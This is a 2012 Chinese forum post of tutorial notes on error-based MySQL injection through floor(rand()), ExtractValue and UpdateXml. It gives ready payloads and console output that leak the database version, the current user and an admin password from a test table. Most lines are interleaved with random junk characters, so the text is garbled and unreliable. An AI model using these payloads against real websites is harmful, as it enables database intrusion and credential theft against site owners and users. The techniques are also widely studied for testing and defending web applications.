找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2170|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。( P& M& L& U; U7 G% f7 G
实际测试环境:/ r' |) U; a/ i6 k, k

0 C6 \2 ^, \; |, i$ K 3 q' X. |/ a  V4 \
mysql> show tables;
& u4 K) @6 p3 G6 h! v+----------------+4 B! P5 I/ b; Z0 ^( l' L
| Tables_in_test |
8 t2 M1 I- f: S* M! |+----------------+1 A- i  ?% F1 C% r+ h% m% o
| admin          |
2 o8 L7 R5 f, [0 y9 F0 b/ H- B| article        |1 B  W1 {* R0 x7 d
+----------------+
! a# b1 I8 l5 V5 X% C* w
( L( D6 C% X8 ]" f; P+ Z
0 v' B3 A8 E/ {$ S! X
2 h' V  W9 _) e" }2 I1 E( S6 d2 lmysql> describe admin;, E2 _4 R/ R% Q. x+ q/ h
+-------+------------------+------+-----+---------+----------------+
# K7 r) X9 e' j, q1 X7 N6 w) ~. n| Field | Type             | Null | Key | Default | Extra          |; M% ~7 |) j( U- I
+-------+------------------+------+-----+---------+----------------+
. O& H( p' B/ ^" ]% A| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |1 {# v, |& |0 A/ ]; J
| user  | varchar(50)      | NO   |     | NULL    |                |$ p6 J( f! R& Z6 h! z) y0 J
| pass  | varchar(50)      | NO   |     | NULL    |                |  c: e5 p. G5 \$ |* ]; ^7 D
+-------+------------------+------+-----+---------+----------------+3 O* y& Z0 B: v

  k1 J9 T( Z- h6 a & t+ w: g" T" _3 V7 {
- w8 [9 `  M# t
mysql> describe article;; F. H6 @3 U* l3 P6 j
+---------+------------------+------+-----+---------+----------------+
% Z! O& n3 h9 Z6 R$ }| Field   | Type             | Null | Key | Default | Extra          |
) ^, v- ~. X. C3 |" j2 D6 Q+---------+------------------+------+-----+---------+----------------+
# y" I" S& q, A; h| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |$ I+ T8 ~8 p" q* U
| title   | varchar(50)      | NO   |     | NULL    |                |1 H: s) w( r, |: I# L' n
| content | varchar(50)      | NO   |     | NULL    |                |
: g3 ~5 p: G9 r4 N+---------+------------------+------+-----+---------+----------------++ j& \' \& ]' _% e9 I
1、通过floor报错
5 s  O# y  }2 T  L2 M0 L/ U% w* W2 a可以通过如下一些利用代码
5 ?' u4 w8 P* ]3 Y
6 [& i( v  }0 G+ ?7 {8 N$ C ! c2 P4 e4 Y0 t8 `  w
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x; o: Z1 Y$ O, s) S5 o" B7 i
from information_schema.tables group by x)a);
" f) F) [- v8 K( M* x- A' w - c! b2 C2 S0 t  C& T5 c$ c

% |0 j) l" e/ I# L$ \and (select count(*) from (select 1 union select null union select !1)x" i) g' R9 ~- X3 W1 l! s' T
group by concat((select table_name from information_schema.tables limit 1),3 Q) J  A5 q0 T
floor(rand(0)*2)));$ Z& a/ X& R+ o/ w& M! U4 {( F# A
举例如下:
. X" t! O! Y- R/ M: m首先进行正常查询:( V: r9 h8 g  Q8 Z& q& O
% g) B9 U: W% R# v) K
mysql> select * from article where id = 1;) @4 _  W; a( z& H+ c3 w% N1 Z
+----+-------+---------+
+ ^) e4 `8 A# n( d| id | title | content |
$ t+ `; E: V, Q" X+----+-------+---------+
% {& s* g# ]; W|  1 | test  | do it   |
. E* w7 [  ?) J+----+-------+---------+
  y, `5 d$ E5 \假如id输入存在注入的话,可以通过如下语句进行报错。
; }, D  ?; v. d* T1 g
5 ^% \' _- d- O, k6 y$ t 7 ~0 r; y* w( ?- a
mysql> select * from article where id = 1 and (select 1 from1 {2 `' Y8 q. ^2 c2 s; V% h- V
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
3 i( }" W0 a3 A% w2 GERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
  w% N, N" e" ^* Z) D6 p可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。2 x4 S' Q* G0 E: W) g4 {' S
例如我们需要查询管理员用户名和密码:: @7 G) d, N+ E" P6 g8 d
Method1:
; |% f! c2 C* |% T' O* d. K8 f
, x, n( Q3 b' J( k; V
) O8 m9 y2 B! v  ]( f/ |mysql> select * from article where id = 1 and (select 1 from
8 T; L, }/ o  \6 u8 _(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x2 g" R/ Q& c" f1 N; O2 o+ Y; ~
from information_schema.tables group by x)a);0 ~9 R: S/ W" J8 l* T! F
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'$ w9 {' z, S6 {: ^- L0 m
Method2:4 b6 t. ~3 \. m1 X6 U# f" j

$ E3 n) x4 k% l9 `
/ w1 V) h2 ]% |( M4 X8 \% Nmysql> select * from article where id = 1 and (select count(*)+ u% v9 E  C0 R# v7 h: c
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
$ ~2 r, o+ A. Qfloor(rand(0)*2)));
0 I$ r8 V& d, B" SERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
5 H7 H& z, _$ q; V& Z" O2、ExtractValue
1 F5 A, O7 S5 J5 F测试语句如下0 F8 o9 g; j9 `, |: S$ o

, N( t  x" G$ z# k0 e5 `$ W
% d# d; H- `( u6 \. i' B4 V" n+ oand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
8 W+ _! a* ]! T- ]' b实际测试过程# S) ]$ ^' d, [: h% `* ~. E, i: n

# x0 v6 C, U" a9 Y1 f1 [, d
% y, }4 R  e( E! vmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
) |2 \7 n% u5 v3 Q3 Z(select pass from admin limit 1)));--
) r7 M# `" r% |9 {ERROR 1105 (HY000): XPATH syntax error: '\admin888'; g# A8 F* p: v) {- M6 ~3 g2 M
3、UpdateXml
2 m  |+ p$ Z0 q. \测试语句0 a$ Y0 T4 n; I; U+ s) E
. Z" H  e) o5 j, I( g& z

, P* r* |4 Z! t9 Y3 {) Y" m& Wand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)). X/ H& a6 E2 B' ^
实际测试过程
; N" c' @/ g6 B1 h# ~: E
. |# j$ b+ V! R- A0 `: v6 a! a" `
, g* n+ |0 N- D3 x5 G# \mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
6 z' V5 U; P0 F(select pass from admin limit 1),0x5e24),1));
7 o3 \7 Q2 D7 H; d+ n2 y% j* CERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
5 S4 q/ t8 g5 L# wAll, thanks foreign guys.7 _1 W2 s' |% o, T8 `8 I7 p# S
  N- }% [) N$ l6 e4 _
, U9 ^& W1 T! `. ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表